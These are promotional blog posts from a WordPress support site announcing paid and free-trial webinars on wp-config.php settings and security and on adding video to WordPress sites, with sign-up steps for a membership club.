The training is normally only available to members of my WordPress training and support community, but this week I’m offering a 14 day free trial of the WP Owners Club, so you can test drive the club, join the live security training webinar and see all of the other member benefits.

If you like the club, leave your membership as is, if it’s not for you cancel your Paypal subscription before the 14 days are up and there will be nothing to pay.

Test Drive  Today

To test drive the WP Owners Club and join the security training at no cost, click on the button below.  You will be taken to a signup page where you can create a login ID, then go to http://wpownersclub.com/live-events to signup for the live training.

Image byellasdad

Post from: WP Dude If you need wordpress technical support please visit my services page

WordPress Security Training

What Is wp-config.php?

wp-config.php is the configuration file central to WordPress which tells your site how it should behave.

Most of us know that is contains database information, but there are a multitude of other uses such as securing your site, changing domain names, setting debug options the list goes on.

This training is to teach you more about this incredibly useful little text file and how it can help your WordPress site.

When & Where Is The Training

The training is on Thursday 15th September at the following times:

11am-12pm Pacific, 2pm-3pm Eastern and 7pm-8pm UK Time

The session is held online using a webinar format, so you can view the training from the comfort of your own computer, no travel or accommodation costs and limited time away from your day job.

What Will I Learn?

You will come away from the session with a deep understanding of what wp-config can do to your site including:

• What is wp-config
• Database settings
• Language settings
• Debugging with wp-config
• Changing domain names
• Security settings
• Memory settings
• Autosave and revisions
• Other advanced settings
• Securing wp-config

Cost

The session costs $29.00, for that you get access to the live event, and a recording of the event and pdf downloads of all the associated materials and links.

So the choice is yours, join live or get the recording to view at a time convenient to you.

Sign up For The Training

To join the training, click on the link below to go to Paypal IMPORTANT, after paypal has confirmed your payment, you will be redirected to another page to register for the event.

Seats are limited by the webinar software I use so join now to reserve your slot.

Post from: WP Dude If you need wordpress technical support please visit my services page

WordPress Training: Understanding wp-config.php

Adding video content into your WordPress posts and pages adds huge impact.  We are visual creatures, we take clues from body language to help communication something missing from text only posts.  Information can be tightly packaged into video, something that would require a huge amounts of copy to convey.

Would you like to learn more about adding video into your site?

WordPress Video Training Session

I am running a live training event for my training community the WP Owners Club all about using video with your WordPress site. I’m offering a 14 day free trial of the WP Owners Club so people can join this training at no cost and test drive the other club benefits.

When & Where?

The training will be held as an online webinar on Thursday 1st September at the following times

11am-12pm Pacific, 1pm – 2pm Eastern and 7pm-8pm UK (Please note there is an option to select your local time when you register)

What You Will Learn

I will be teaching the following during the live training session:

• The benefits of video
• Type of video you can use
• Video hosting options
• Embedding video in WordPress
• Video analytics
• Video SEO
• A Note on mobile devices
• Demo
• Q & A

Here’s What You Need To Do Next

If you would like to take me up on my offer, here’s what you need to do:

1. Go to wpownersclub.com/sign-up (click on the big orange button at the bottom)
2. Create your free trial account by creating a Paypal subscription
3. Go to http://wpownersclub.com/live-events and signup for the webinar.

The trial is no cost, but seats are limited so join up now to reserve your spot.  I hope to “see” you on the call.

Post from: WP Dude If you need wordpress technical support please visit my services page

A Video Tells A Million Words